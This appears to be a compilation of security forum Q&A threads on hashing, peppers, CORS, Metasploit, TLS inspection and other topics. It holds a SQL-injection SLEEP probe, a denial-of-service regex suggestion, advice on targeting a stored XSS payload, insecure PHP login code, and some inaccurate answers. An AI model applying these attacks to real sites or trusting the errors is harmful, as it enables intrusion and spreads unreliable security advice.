Is it possible to "encode" a bash sentence? I was recently solving a CTF challenge that I found quite strange, first of all I have been given a chain of characters that no matter how hard I try to find an answer I can not find it, I am going to publish part of that chain in order to have an answer that can guide me and not sabotage the challenge:

D'`_$^"7m5X32Vxfvu?1NMpLml$jGFggUdSbb}<{)]xqpunm3qpohmfe+Lbgf_^]#a`Y^WVz=<XWVONrLQJINGkEiIHG)?c&BA:?>=<5Y

The first thing I thought is that it can not be a type of hash, I've never seen anything like that, so after looking for clues I found a possible answer and put this string in the Command prompt, and this was the result:

root@localhost:~/Folder# (here goes the chain)
>

It's like when you put "python" and it allows you to continue writing sentences in the language, after that I tried to paste other blocks of the chain and I received messages like this:

bash: (chain): event not found
bash: command substitution:

Is it possible that it is a coded bash statement and if so, how can I decode it or understand it? If it is not what I think then exactly?

I hope you can guide me

I don't know what that chain of characters is, but it's clearly not a shell command. What's happening is that bash is trying to interpret and act on various shell metacharacters in the string, but they're used in ways that don't make any sense, so bash is getting errors and/or doing things that don't make any sense.

Specifically: the string you linked starts with "D" followed by a single-quote. When bash sees a single-quote, it treats it as the beginning of a quoted section of the command line. There's no second single-quote to mark the end of the quoted section, so when you press return after entering it, the shell thinks you're entering a multi-line string. The "> " prompt is bash's standard continuation prompt, which indicates that you haven't entered a complete command yet, and you need to keep going until you get to a valid stopping point (i.e. not in the middle of a quoted string).

The other messages you report have to do with other metacharacters in the blocks of your chain:

bash treats "!" as the start of a history substitution, i.e. reusing all or part of a previous (historic) command (a past "event"); what comes after the "!" indicates what "event" you want to reuse, but it doesn't match anything so you get an "event not found" message.
bash treats backquotes as indicating command substitutions, i.e. running what's in backquotes as a command, then substituting that command's output in the current command line. I don't know exactly what the relevant text or error is, but apparently there's something that doesn't make sense between a couple of backquotes, and so the shell is complaining about it.


Can specific location be determined from an aerial image? Let's say I share a screenshot of an area of interest (AOI) from Google Maps. Does that alone reveal the specific location of the AOI, even if it has no identifiers (roads, coordinates) on it? What if state/region is known along with the image? I'm wondering about programmatic approaches, as I don't think someone could reliably locate the AOI 'by hand' (searching and guessing on Google Maps) without computer assistance.

For example here is an aerial view of a random location in the capital region of New York State, lacking coordinates, roads, or other clues that I'm aware of. Is its specific location discernible? If so, what clues or techniques are used to identify its location?

Bonus info / side question: I'm interested in this question from a 'defensive' perspective. On that note, what are the hazards (if any really) of someone knowing the location of a rural work site? I imagine the same hazards as any doxxing that publicly associates an address with an online person: some unknown viewer targeting that person could use that info to go to the person's location harassing them or their property.

It's just a matter of time (I'm thinking of months) until a free online reverse map-image search becomes available. Something like this (which is just a demo, but still pretty cool) https://search.descarteslabs.com/?layer=naip_v2_rgb_2014-2015#lat=39.2322531&lng=-100.8544922&skipTut=true&zoom=5

So I wouldn't consider posting an image of a location that you want to keep secret safe at all.


Is a simple Whirlpool hash with random salt secure enough? I've been working on a site that requires users to login. It's written in PHP with MySQL, and passwords are stored as Whirlpool hashes with a salt (source code later).

However, security sites or fellow developers have advised against this (actually, SHA-256, but the point remains) and have recommended bcrypt or PBKDF2. I'm not sure of the advantages of using one of these or why the current one is wrong. Does anybody mind explaining their reasoning?

Here's my code to register:

$escusrnm = $con->real_escape_string($_POST["usrnm"]);
$newSalt = substr(str_shuffle(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ),0, 1) . substr(str_shuffle(aBcEeFgHiJkLmNoPqRstUvWxYz0123456789),0, 31);
$passHashed = hash("whirlpool", $_POST["pss"].$newSalt);
$con->query("INSERT INTO users (username, pass, hash) VALUES ('{$escusrnm}', '{$passHashed}', '{$newSalt}')");
$_SESSION["usernm"] = $_POST["usrnm"];

Here's my login code:

$escusrnm = $con->real_escape_string($_POST["usrnm"]);
$getdats = $con->query("SELECT * FROM users WHERE username='{$escusrnm}'");
if (mysqli_num_rows($getdats) > 0) {
    $getdats = $getdats->fetch_assoc();
    if(hash("whirlpool", $_POST["pss"].($getdats["hash"])) == $getdats["pass"]) {
        $_SESSION["usernm"] = $getdats["username"];
    } else {
        $errormsg = "There was an error. Check your information again, or register.";
    }
} else {
    $errormsg = "There was an error. Check your information again, or register.";
}

I'm not sure of the advantages of using one of these or why the current one is wrong. Does anybody mind explaining their reasoning?

Bcrypt CAN BE stronger than whirlpool, it depends on your strength setting. This is one of the most important advantages about bcrypt, that you can increase the strength as computers get more powerful, plus it's extremely difficult to crack using a GPU compared to simple SHA/Whirlpool hashes.

Since PHP 5.5, we've had bcrypt available as easy to use functions. To create a hash you would use password_hash($pass), you don't need to worry about salts because one is automatically generated and placed inside of the hash, because of this you need to use password_verify($pass, $hash) to check a hash, as generating a hash will use a different salt every time (and your strength settings could change).

There is almost no reason not to use this for a new application, as it's proven to be much much more secure than standard hashing algorithms. If you're on a version of PHP older than 5.5 there are a variety of libraries available to assist with this, most commonly ircmaxell's password_compat.


How is a pepper used with salted passwords? How is a pepper (a large constant number) used after a password has been salted with a salt by a hashing function such as bcrypt?

From Sybex CISSP Official Study Guide, 8th Edition (2018):

  Adding a pepper to a salted password increases the security, making it more difficult to crack.

Is a pepper simply concatenated to the beginning or end of a salted password? Is it concatenated to the salted password, which is then hashed again?

Salt is a random string that is used to mitigate dictionary attacks.

+-------+------------+-----------------------+
|  id   |    salt    |       hashed_pw       |
+-------+------------+-----------------------+
| user1 | 9060d63fe0 | hash(pass19060d63fe0) |
| user2 | 39b3cdd660 | hash(pass239b3cdd660) |
+-------+------------+-----------------------+

Pepper is a fixed string that is more secret then the salt, and this mitigates brute force attacks on salted passwords.

  Is a pepper simply concatenated to the beginning or end of a salted password? Is it concatenated to the salted password, which is then hashed again?

Peppers should not simply be concatenated because it's goal is to make brute forcing impossible. It too must be hashed.

Let's assume password abcd1234 and salt 9060d63fe0. If those two are hashed with bcrypt with round 9, the result will be $2a$09$T.FYSHNRG5W.EiS3ieAU/OqdnNLXtou3yZk98/ZJ0Y7JXAoFlVWKS.

If somehow hacker brute forces the password and manages to find the value abcd12349060d63fe0, the hacker will know that the salt value is 9060d63fe0 and the password is abcd1234 because salt is stored on the DB.

But let's assume a pepper is applied. pepper abab4321, password abcd1234 and salt 9060d63fe0. If hacker successfully brute forces
 and found abab4321abcd12349060d63fe0, the hacker won't be able to know which part is the pepper and which is the password.

Peppers can be applied before hashing like this:

+-------+------------+-----------------------------+
|  id   |    salt    |          hashed_pw          |
+-------+------------+-----------------------------+
| user1 | 9060d63fe0 | hash(pepperpass19060d63fe0) |
| user2 | 39b3cdd660 | hash(pepperpass239b3cdd660) |
+-------+------------+-----------------------------+

Or after hashing like this

+-------+------------+--------------------------------------+
|  id   |    salt    |              hashed_pw               |
+-------+------------+--------------------------------------+
| user1 | 9060d63fe0 | hash(pepper + hash(pass19060d63fe0)) |
| user2 | 39b3cdd660 | hash(pepper + hash(pass239b3cdd660)) |
+-------+------------+--------------------------------------+


Forgot Username/Email - Do extra credentials equal enough to log the user in? I am working with another UX guy and he's let me know that there have been some studies surrounding the fact that when a person goes through a "forgot username/email" process, they enter in extra information and that this extra information should be enough for a user to be logged in without having to enter a password.

In our case, the user has two options - either enter their phone number, last name and DOB then receive a text message (or call) to confirm; OR they can enter social security number, last name and DOB.

Then the next step is to answer their security question (1/3 questions). If they answer this question correctly, they move on to a logged in state in their account. No password necessary.

Is this common practice these days? Is this still relevant for a financial company? Can a user just keep doing this as another option to log in?

I have a feeling that all of the information needed to log in can be found in the user's email. Assume their email address has been hacked... We require the same information for forgot password as well, though the password is something that users inherently make secret. Everything else can be found fairly publicly, unless they don't answer the security questions properly on purpose (like I do)

EDIT: My suggestion:
I believe to retrieve information, a person should have something that only they know (not written on paper ANYWHERE), security information (assuming they used it to sign up [SSN, DOB]) and a piece of physical information (In this case, a debit/credit card number that they physically possess).  This seems like the most secure way to get into an account.  thoughts?

No, don't make password reset based on anything submitted in a form. You need to determine the users identity through a method besides your own website. Either via two factor authentication (usually phone) or via a known email address. The danger here is brute forcing, guessing, or stealing the data needed for a password reset. Yes, it is often quite possible to maliciously aquire a user's ssn, dob, and phone number. Stealing their phone or compromising their email is often far, far harder. Also, be very careful about storing or asking for the users ssn - this can be treacherous, especially if an attacker manages a man in the middle or sql injection attack.

Stick with e-mail Auth or two factor Auth for password resets.


When should I use symmetric encryption instead of RSA? I'm currently using GPG RSA keys to encrypt binary files. Many people recommend using symmetric keys to encrypt large files, and then encrypt the symmetric key with a public key.

At what file size should I switch from RSA to something like AES? Is it arbitrary? Are there any security concerns with using GPG/RSA on massive files (gigabytes)? I'm aware that RSA is much slower/larger, I'm just wondering if there were any other issues.

It's much less hassle to encrypt directly using RSA even if it takes more time, than to generate new symmetrical AES keys, encrypt the file, encrypt the keys via RSA and then store the AES keys every time I'm encrypting my files, that's why I'm asking about why I should use it.

This is not a question of size.

The raw asymmetric encryption algorithm known as RSA can do asymmetric encryption for a "message" in a rather limited space; namely, with a 2048-bit RSA key and PKCS#1 v1.5 RSA encryption, the algorithm can process a sequence of bytes up to 245 bytes at most.

But you never use the raw algorithm. You use a protocol, in this case OpenPGP, which defines the algorithms to use and where each byte goes. In OpenPGP, when the recipient has a public/private key pair and you want to encrypt your message "with the public key" (i.e. you want the message to be unreadable except by whoever knows the corresponding private key), then you invoke your OpenPGP-compatible software which will then follow the OpenPGP rules -- and these rules are that symmetric encryption is always used: the software generates a random symmetric key K, encrypts the message itself with a symmetric algorithm using K as key, then encrypts K (not the message) with the recipient's RSA public key. You don't have to choose, and you don't get to choose: this is the way OpenPGP works.

Designing your own secure protocol, and then implementing it securely, are two incredibly hard tasks ("incredibly" because people don't believe it at first) so the smart thing is not to do it yourself, but instead use an existing protocol (e.g. OpenPGP) and existing implementations of that protocol (e.g. GnuPG). In that sense, you should not ask yourself this question.


Why can't an n-bit hash be cracked by hashing every single n-bit plaintext? I'm wondering why it's so hard to find collisions for cryptographic hashes.

Take for example a hash function that outputs a 64 bit hash.

In order to find collisions, if you feed the function every single 65 bit string possible, aren't you guaranteed to find a collision? The hash function has to turn 65 bits into 64 bits so is has to find some collisions.

Can't a collision be found in a pretty straightforward way using this technique?

I understand computing all of them will take a lot of time but it seems pretty reasonable to do so and create a database index to store them in so hashes can be broken.

Yes, you are right. Although you would expect (statistically) to find a collision already after about 2^32 tries.

If you have a hash of 160 bit length you would have to try 2^80 combinations (on average) to find a collision. But still, with today computing power trying 2^80 combinations will take too long for you to become old enough to see the collision :-)

That's pretty much all about it. Making the bits so many that it just takes to long to try all necessary combinations out.


How does setting Origin to null in a redirected CORS request protect against a confused deputy attack? Excerpt from Here:

  If a cross-origin resource redirects to another resource at a new origin, the browser will set the value of the Origin header to null after redirecting. This prevents additional confused deputy attacks, but a cost of making it difficult to transparently move CORS resources that support (cookie-based) credentials and simple requests across domains with 3xx status codes as one can with non-CORS resources. It is possible to redirect same-origin resources to a cross-origin location (single hop only) because browsers will transparently apply the CORS algorithm to such requests and include the Origin header for the first hop.

How would keeping the origin header for the redirected request allow for a confused deputy attack?

That paragraph is tersely written, and the use of "redirects to another resource at a new origin" in the first sentence isn't quite right.

Here's a simple contrived example. Let's say you are malicious, and there is a web application that uses the services of a privileged API via CORS, so the web application's Origin is trusted by the privileged API. And let's say you want to get access to the data behind that privileged API, but your Origin of course is not trusted.

You create a simple useful service that you offer via CORS, and you get the web application to include your service in a page- any page- under its trusted Origin. That page does not need to access the privileged API.

(Of course, once you're in the page of your victim you can do whatever you want, but bear with me.)

If you decide to change your CORS service from issuing a 200 with some data to issue a 3xx to the privileged API- crossing resource domains- this creates a trust problem.

The actual Origin- the page that embedded your resource- will be trusted by the privileged API. But it didn't issue the request, and it may not want to be talking to the privileged API at this particular point in time.

Instead, you issued the redirect, and while you are trusted, in part, by the Origin, you are not trusted by the privileged API. If the browser follows your 3xx and sends along the Origin, you get to illegitimately piggy back on the trust given by the privileged API to the Origin.

What is the browser to do? A reasonable answer is to not follow the 3xx at all, but that would disallow use cases for which trust is not concern. Issuing the request with a "null" Origin allows those use cases, but prevents the exploitation of trust that sending along the original Origin header would allow.


Create memory dump from the windows commandline I was following this blog post to dump the memory of a windows host. Sadly this method does not work on Windows Server 2012 because the memory drivers that come with mdd aren't signed and this is required in newer windows version.

Is there a known way to get around this problem without using a GUI?

For doing a memory dump, you can use DumpIt and read the dump with volatility.


The output format of search in msfconsole I see the following output from search in msfconsole.
msf6 > search CVE-2014-3566

Matching Modules
================

   #  Name                                Disclosure Date  Rank    Check  Description
   -  ----                                ---------------  ----    -----  -----------
   0  auxiliary/scanner/http/ssl_version  2014-10-14       normal  No     HTTP SSL/TLS Version Detection (POODLE scanner)

Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/http/ssl_version

But it is not clear what some of the columns mean. For example, what is Rank, what are its allowed values? What is Check, what are its allowed values? Thanks.

Let's go through each entry and see what it does:
#
This is the number associated with the result. While at first glance it seems useless (pun intended), you can type use 0 to use the first result, instead of typing use auxiliary/scanner/http/ssl_version. This is a very handy shortcut.
This doesn't just work for use, but every other command that takes a module name as argument (e.g. info).
Name
This is the name of the module, specifically where in the repository the module can be found. Generally, the name describes somewhat what the module will do. In this case, auxiliary/scanner/http/ssl_version shows it's an auxiliary module (meaning it does not directly exploit anything), and that it scans a http server for which SSL and TLS versions it supports. It's pretty self-explanatory, really.
Disclosure Date
This refers to either when the vulnerability was disclosed, or when the module was added. For exploits, it makes sense to check when the vulnerability was disclosed, whereas for other modules (e.g. the above-mentioned scanner), it makes sense to add when the module itself was added.
This may be useful if you want to look for newer exploits, that are generally more likely to work than older exploits.
Rank
The rank determines how well the exploit works. Not every exploit works all the time, so it makes sense to give the user some indication what to expect. Here are the possible values and what they mean (taken from here):

Excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances.
Great: The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check.
Good: The exploit has a default target and it is the "common case" for this type of software (English, Windows 7 for a desktop app, 2012 for server, etc).
Normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect.
Average: The exploit is generally unreliable or difficult to exploit.
Low: The exploit is nearly impossible to exploit (or under 50% success rate) for common platforms.
Manual: The exploit is unstable or difficult to exploit and is basically a DoS. This ranking is also used when the module has no use unless specifically configured by the user.

Why is the scanner labelled "Normal" and not "Excellent"? Only the author knows.
Check
"Check" informs you if the check command is available. Simply put, check checks whether or not the target is (likely to be) vulnerable against the selected exploit. For example, the MS08-067-NetAPI exploit includes a check option, which allows you to verify whether or not exploitation is (likely to be) successful before attempting to exploit the target.
As you can tell, this only really makes sense for some exploits, and may not be possible with every exploit. For the scanner module in your example, it doesn't make sense - the scanner is its own check - so no check is available.
Description
This is a short, one-line description about what the module does. In this case, it informs you that auxiliary/scanner/http/ssl_version is a SSL/TLS version scanner for HTTP servers - which isn't all that surprizing. However, other modules may have slightly more mystifying names, such as exploits/linux/misc/hplip_hpssd_exec, so it's good to get a gist of what a module does. In this case, the description reads "HPLIP hpssd.py From Address Arbitrary Command Execution".
If you still don't know, then the info command will give you a more detailled information, such as:
Description:
  This module exploits a command execution vulnerable in the hpssd.py
  daemon of the Hewlett-Packard Linux Imaging and Printing Project.
  According to MITRE, versions 1.x and 2.x before 2.7.10 are
  vulnerable. This module was written and tested using the Fedora 6
  Linux distribution. On the test system, the daemon listens on
  localhost only and runs with root privileges. Although the
  configuration shows the daemon is to listen on port 2207, it
  actually listens on a dynamic port. NOTE: If the target system does
  not have a 'sendmail' command installed, this vulnerability cannot
  be exploited.

That should give you a good indication of what the module does and wheter or not it makes sense for you to run it.


How to exploit TELNET? I was playing around on my website and was trying to hack it. I read an article about telnet the article said to test telnet hostname/ipaddress port.
I used this and I got this back:
Trying 103.211.216.63...
Connected to 103.211.216.63.
Escape character is '^]'.
220-bh-in-20.webhostbox.net ESMTP Exim 4.93 #2 Wed, 03 Feb 2021 13:47:18 +0000
220-We do not authorize the use of this system to transport unsolicited,
220 and/or bulk e-mail.

Is it normal or can I hack my website by this?

Is it normal?

Yes

can I actually hack my website by this?

No.
Telnet simply connects to your web server in the same way that a browser would connect to your web server.  The difference is that with telnet, you type the request manually, and then telnet displays the underlying text of the response -  whereas with a web browser, this happens behind the scenes (although you can view and/or modify the requests and responses using the developer tools in most web browsers).
Therefore, using telnet alone does not enable you 'hack a website' - unless the site already has some vulnerability, in which case you may be able to exploit the vulnerability using telnet or another tool.
Last but not least, telnet can only be used to connect to a web server via (unencrypted) HTTP (usually on port 80), not (encrypted) HTTPS (usually on port 443).  To connect to a web server via HTTPS using a similar text/command based tool, you can use openssl s_client.  See https://www.openssl.org/docs/man1.0.2/man1/openssl-s_client.html for more info.


Is SQL Injection possible in this case (REGEXP)? I'm on a website which have a program, there is a search input for keywords.

When I input & or < or > and search, it returns Got error 'empty (sub)expression' from regexp error and when I input $ or ^ or .* I get all keywords at once, which seem like its relying on REGEXP function from MySQL to match.

Ok, so I have tried aaaaaaa' OR SLEEP(999) -- - but output was:

  Unfortunately! aaaaaaa\' OR SLEEP(9999) -- - is out of stock

Ok,so ' is getting escaped and becomes \', then I tried with \' to see if only ' is getting escaped, but it seems that both of them gets escaped:

  Unfortunately! aaaaaaa\\' OR SLEEP(9999) -- - is out of stock

3 \ not 2 like in blockquote

I've also tried url encoding and I got same output.

By the way the app is using PHP and MySQL

You can't invoke a command from a regex, so you can't do an SQL injection in this case.

However, you could enter a very long processing regex that would certainly cause issues with the web site. For example forward lookahead with multiple wildcards (see Mastering Lookahead and Lookbehind).

Here is an example (in Java regex):

\(([$_a-zA-Z][$_a-zA-Z0-9]*(?:\.[$_a-zA-Z][$_a-zA-Z0-9]*)*(?:,[$_a-zA-Z][$_a-zA-Z0-9]*(?:\.[$_a-zA-Z][$_a-zA-Z0-9]*)*)*)*\)

The syntax that your regex uses may be slightly different, but this is the general idea.


Which SSL/TLS protocol will use by cURL if not defined? When curl to an HTTPS URL and not not defined the SSL version option, which level of SSL/TLS will be used?
From the cURL documentation it says CURL_SSLVERSION_DEFAULT will use as default.

CURL_SSLVERSION_DEFAULT
The default action. This will attempt to figure out the remote SSL protocol version.

So does it depend on the other end of the connection?

The SSL protocol involves a handshake where the version is negotiated. The web server and the client will agree on the newest version that they both support. As cURL supports TLS 1.2, the newest standardized version, the version of TLS chosen will correspond to the highest version that the server supports unless you restrict cURL's SSL options.

Googling SSL handshake will give you many references on the version negotiation.


Is embedding the EAX nonce inside the Associated Data considered safe? As the nonce bits would be used twice in that case, does that break EAX security? The examples I've seen using EAX have separated the nonce from the Associated Data, but to me it makes more sense to have the nonce be a part of it.

http://www.cs.ucdavis.edu/~rogaway/papers/eax.pdf

The nonce is already authenticated. There is absolutely no reason or need for you to do this. Whether or not it reduces security, I can't say. However, it certainly doesn't improve security.

  but to me it makes more sense to have the nonce be a part of [the associated data]

I would, as a general rule, trust the cryptographers responsible for designing EAX over your own gut feelings.


Cookie hijacking bypassing authentication? Is possessing someone's cookie enough to bypass an authentication mechanism so that I'll be granted access to his / her account? I mean, if the "secure" flag is set on the cookie then it is encrypted so the attacker is out of luck. If the HTTPonly flag is set, Javascript code will not be able to read it but even if it does it's just a random string that will be collected. So how may the attacker even know where to send the cookie?

Usually with web applications, after the user has authenticated, the server will supply a session cookie to the browser, which is supplied with each subsequent request to the application in place of having the user supply their password with each request.

As such, if an attacker is able to steal a user's session cookie and make requests to the server, it is likely that the server will assume the request comes from the original user and provide access to the application, as long as that cookie remains valid.

All of this is speaking generally, in specific cases additional mechanisms might be used to mitigate the risk of cookie theft.


How to securely insert JSON objects into javascript, DOM content and html elements attributes? Is there a way to sanitize or scape strings to secure put data in a object into script or DOM like:

var myObj = JSON.parse({someObject: value})
someElement.innerHTML('<div data-id="'+myObj.someObject+'">' + '+myObj.someObject+')?

This JSON is generated when an user A sends a object inside a JSON to user B, in a chat application that user B receives that JSON and stores this object in a array then generates an HTML element with an attribute and content.

Some of the points that you should take care are: (in no order)

Untrusted user input should only be treated as displayable text. Never treat untrusted data as code or markup within JavaScript code. HTML encode all user input.
Always JavaScript encode and delimit untrusted data as quoted strings when entering the application
Avoid use of HTML rendering methods
Use document.createElement("..."), element.setAttribute("...","value"), element.appendChild(...), etc. to build dynamic interfaces. Dangerous attributes include any attribute that is a command execution context, such as onclick or onblur.


Is this Paypal Github SDK reference really a dangerous site? I'm working on integrating a payment system with paypal in C#, and I installed the official paypal nuget package. Then I went to the paypal github site.

And linked to this below site (SDK Reference).

At this point both Chrome and Firefox warned me about

Deceptive Site Ahead

Is this site really dangerous?

URL's are listed here so that people don't need to click on potentially dangerous links:

https://github.com/paypal/PayPal-NET-SDK
http://paypal.github.io/PayPal-NET-SDK/Samples/PaymentWithPayPal.aspx.html

No, it's not dangerous at all. Your browser is warning you because a non-Paypal website has Paypal in its name. This is a common technique used by phishing sites that attempt to fool you into thinking the site is official. For example, a website might be called paypal.secure1234.com and made to look like the official site, enticing you to trust it and input your sensitive credentials. The browser has no way of knowing that the site you are visiting has Paypal in its name for completely benign reasons.


SSL authentication unexpectedly failing - could this be caused by SSL Inspection/Fortinet? I'm dealing with an SSL issue that's been plaguing me for several days. I know relatively little about security, so if anyone here could lend a helping hand I would be extremely grateful.

Ultimately what I'm trying to do is to add a particular Helm repository to a Kubernetes deployment. This has worked fine in my testing environment (AWS), but it's failing in my prod environment (an on-prem cluster provided by a client) due to SSL issues. Specifically, the command I'm running is:

helm repo add polyaxon https://charts.polyaxon.com

And the error I get back is:

Error: Looks like "https://charts.polyaxon.com" is not a valid chart repository
or cannot be reached: Get https://charts.polyaxon.com/index.yaml:
x509: certificate signed by unknown authority

This is confusing to me because:

I do not get this error when working locally or on AWS.
When I go to the above url in my browser, it appears to have a valid cert issued by COMODO.
Polyaxon is a fairly popular project, and this is a basic step in using it. And yet I can't find a single instance of this happening to anyone else.

Attempting to access the repo via wget yields a more helpful error message:

:~$ wget https://charts.polyaxon.com
--2019-02-22 22:02:53--  https://charts.polyaxon.com/
Resolving charts.polyaxon.com (charts.polyaxon.com)... 104.27.149.134, 104.27.148.134, 2606:4700:30::681b:9586, ...
Connecting to charts.polyaxon.com (charts.polyaxon.com)|104.27.149.134|:443... connected.
ERROR: cannot verify charts.polyaxon.com's certificate, issued by
\u2018emailAddress=support@fortinet.com,CN=FGT37D4615801045,OU=Certificate Authority,O=Fortinet,L=Sunnyvale,ST=California,C=US\u2019:
  Self-signed certificate encountered.
To connect to charts.polyaxon.com insecurely, use `--no-check-certificate'.

What's interesting/confusing about this is that, as best I can tell, it's saying that the cert is issued by "Fortinet" and not by COMODO. I had never heard of Fortinet, so I googled them and discovered that they're not in the business of issuing SSL certs but instead of providing heavy-duty firewalls and the like. I also came across links like this and this, which seemed like they might be related.

So at this point my working theory is that the client has installed some Fortinet product on the network and that this product is causing an opaque SSL error that I wouldn't see elsewhere. But again, I'm way out of my depth here. Good chance I'm wrong, and even if I'm right, I still wouldn't know how to fix the issue.

So with that said, my questions are:

What do you think is going on?
How do I fix it?

Note that, if it's helpful, I can explicitly pass certs to helm via the options here.

The first thing is to communicate with your client: ask if they have a Fortinet appliance that is configured for SSL inspection on purpose. This is the only way to distinguish this from a genuine man-in-the-middle (MITM) attack, as anyone could make a self-signed CA that appears as a Fortinet appliance.

After that, you have the following choices, but this should be discussed closely with your client, comparing pros & cons regarding both security and maintainability.

Add an exception for your entire server to bypass the transparent HTTPS proxy. While the SSL inspection protects the users inside the organization while they surf freely on the Internet, a server should only make connections to trusted web sites.
Add exceptions for the sites the server needs. This is more restrictive: it may add some security, but also needs more maintenance as you might occasionally need to ask for more exceptions.
Ask your client for the public CA certificate of the Fortinet appliance and install it to this server's trusted root certificate authorities. This has its risks it the private key for the appliance gets compromised. Also, you need to do this again if the client upgrades or replaces the appliance with another. At that point you must remember to remove the old CA certificate, too.

They should know if they are performing SSL inspection, as they must have done the same for all the client computers. In some countries they would also need a consent from their employees.


How to limit your stored XSS payload to only target certain people? Assume that you found a website affected by persistent XSS (stored) that you want to exploit.
How do you control which target can be affected by this vulnerability?
I don't want all who enter the page affected by the payload.

An XSS vulnerability that lets you run arbitrary JS lets you do anything you can do with JS. So designing your payload is simply a programming issue.

If you want to limit on IP, just check the users IP. If you want to limit on logged in username or id, just grab that from wherever it is stored and compare to your targets. Usernames are usually displayed somewhere on the page, and if it's not just fetch a page where it is displayed and read it from there. Especially for a SPA the username is probably stored in a JS variable so you don't even have to grab it from the DOM.

It might require some searching to find where to retrieve the info from in your specific case - there is no universal solution - but it should be doable with a little bit of JS.


Does encrypting the same file twice with two different keys present a security risk? Suppose you have a file that you wish to maintain two encrypted versions of, each version encrypted with its own (randomly generated, sufficiently long) key.  The actual method of encryption is by creating two TrueCrypt (AES) volumes of the same size and copying the file into each of these volumes.  The plaintext version of the file is then securely destroyed.

If an attacker gained access to both encrypted volumes, would he gain any advantage over a scenario in which he had access to only one of the volumes (assume he knows both volumes contain the same file)?  i.e., is it safe to maintain two encrypted versions of the same file with different keys?

It is safe if the algorithm is not weak. If it was not safe then this would count as a serious break of the algorithm. No such weakness is known for (properly employed) AES. TrueCrypt has good reputation and uses a cryptographer-approved encryption mode.

So, yeah, no worry.


How to monitor password protected web page I want to use a website monitor to check that a web page is working but the web page requires that the user is authenticated.

Is there a crafty way of achieving this that doesn't require storing an authentication ticket with the website monitoring service, where it could be stolen and used to make malicious requests?

You could use something like Pingdoms Transaction Monitor (https://www.pingdom.com/product/transaction-monitoring/), but be aware that you are giving credentials to a public service.

You could also use powershell script or similar to do the same.
See this question on stackoverflow:
https://stackoverflow.com/questions/12282842/how-to-login-to-website-with-basic-authentication-using-powershell


Why do 256 bits SSL certificate show "256 bytes" for key size? I've seen many places refer to "256 bits certificates" in SSL encryption. Assuming they are talking about the key size, when I look at these certificates in browser I see 256 bytes instead. I know 1 bytes = 8 bits, so am I reading this wrong or should it instead be "256-bytes certificates"?

I've seen many places refer to "256 bits certificates" in SSL encryption.

You are most likely thinking about 256-bit symmetric cipher key sizes. There are no 256-bit certificates, but there are plenty of 256-bit symmetric keys (e.g. keys for AES, a common cipher in TLS).

  when I look at these certificates in browser I see 256 bytes instead.

With the eight bit byte, 256 bytes is equal to 2048 bits, which is a common RSA modulus size, and thus a common RSA key and signature size. Public key cryptosystems like RSA require a larger key because they are attacked not using brute force (in which case 256 bits is more than secure enough), but through various other mathematical methods. In the case of RSA, the best known method to break it is integer factorization. Securing against factorization requires a modulus size of at least 2048 bits, or 256 bytes.

  am I reading this wrong or should it instead be "256-bytes certificates"?

What you are looking at is the RSA public key, not the certificate.

For more detailed information, see How does SSL/TLS work?.


How to strike a balance between security policies and practical implementation challenges? At our organization, we came across some frequent incidents such as:

Reported successful password guessing attacks
Frequent password reset complaints

We started an investigation to identify the causes and the flaws in our practice. The password policy is as follows

  Passwords shall have a minimum of 8 characters with a mix of
  alphanumeric and special characters and 60 days of expiry. No
  repeating passwords for 3 consecutive changes.

Most of the user feedback on our password policy was negative and the complaint was that they find difficulty in remembering the password and often they use a simple one to meet the policy.

We conducted an internal (personal) survey to identify how strong the passwords being used are; the outcome indicates there were several common words being used in different combinations as users must change their passwords every 60 days.

For example, passwords containing repeated words like name, home, office, etc. I believe most organizations have these policies in place and most of the standards recommend these (PCI-DSS, etc) but none of them really strike the balance between the controls and practical applicability.

Hence the real outcome of such policies/controls are not achieving the desired outcome.

The major concerns is how do we strike the balance between these policies (in this case password policy) and practical implementation challenges?

Since this question is not a technical one, rather more about human behaviour, you won't get the answer. What you describe is very typical though and I made the same experience.

Complex password rules will usually not lead to more safe passwords, really important is only a minimum length, and a check against a list of the most used passwords. People cannot remember tons of strong passwords, and such rules can even interfere with good password schemes. People can get very inventive to bypass such rules, e.g. by using weak passwords like "Password-2018", which satisfies most rules. Often you end up with weaker passwords instead of stronger ones.

The same applies to the password-change rule, it is very common to add an increasing number or the current month to the password.

Recently NIST published an official paper (see chapter 10.2.1), advising against such rules, and against its former recommendations.

A try to answer the edited question:

We can try to delegate authentication, either with single-sign-on
or with OAuth2, this way we can reduce the passwords a user has
to remember (same password for multiple services).
One could recommend a password-manager. A link on the login page to a good tool won't hurt.
We could engourage password-phrases. Why not place a funny example on the login page: "I like to sleep until it is too late to get up", this raises awareness and shows the user how much easier (and mobile-friendly) pass-phrases can be. Just make sure to reject this exact example.


Citations for inadvisability of globally unique password I am looking for an authoritative source to back up my position in a disagreement over password policy.

I am having a disagreement with a client about the user identification/authentication process for a system. The nub of it is that they want each user to have a globally unique password (i.e. no two users can have the same password). I have wheeled out all the obvious arguments against this (it's a security vulnerability, it confuses identification with authentication, it's pointless, etc.) but they are insisting that there is nothing wrong with this approach.

I have done various google searches looking for authoritative (or semi-authoritative , or even just independent) opinions on this, but can't find any (mainly it's just such an obvious faux pas that it doesn't seem worth warning against, as far as I can tell). Can anybody point me towards any such independent opinion, please?

I've found a Daily WTF article, but (apart from being too humorous to be authoritative), it suffers from the problem I've mentioned above - the inadvisability of this approach is so self-evident that it doesn't seem worth explaining why.

To clarify, I understand the problems and can even explain them to the client, but the client is reluctant to accept them, hence my request for independent and/or authoritative sources.

Any pointers to independent and/or authoritative sources confirming that this is A Bad Idea gratefully received...

The article points out that the system leaks information:  other people's passwords.  Every time it rejects your password, you know that someone on the system has that password!!!

Maybe you can approach it from the standpoint of how expensive it would be impose such a situation since you only store salted hashes (or whatever) and not their actual password?

How can you detect if users share the same password?  Does this mean you are storing the password?

I think you'll get some better answers, but you need to look more broadly at authentication issues.  Start with the wikipedia link and understand the basic issue first.  I really don't think you want to be handling the actual password in your central database (AAA).


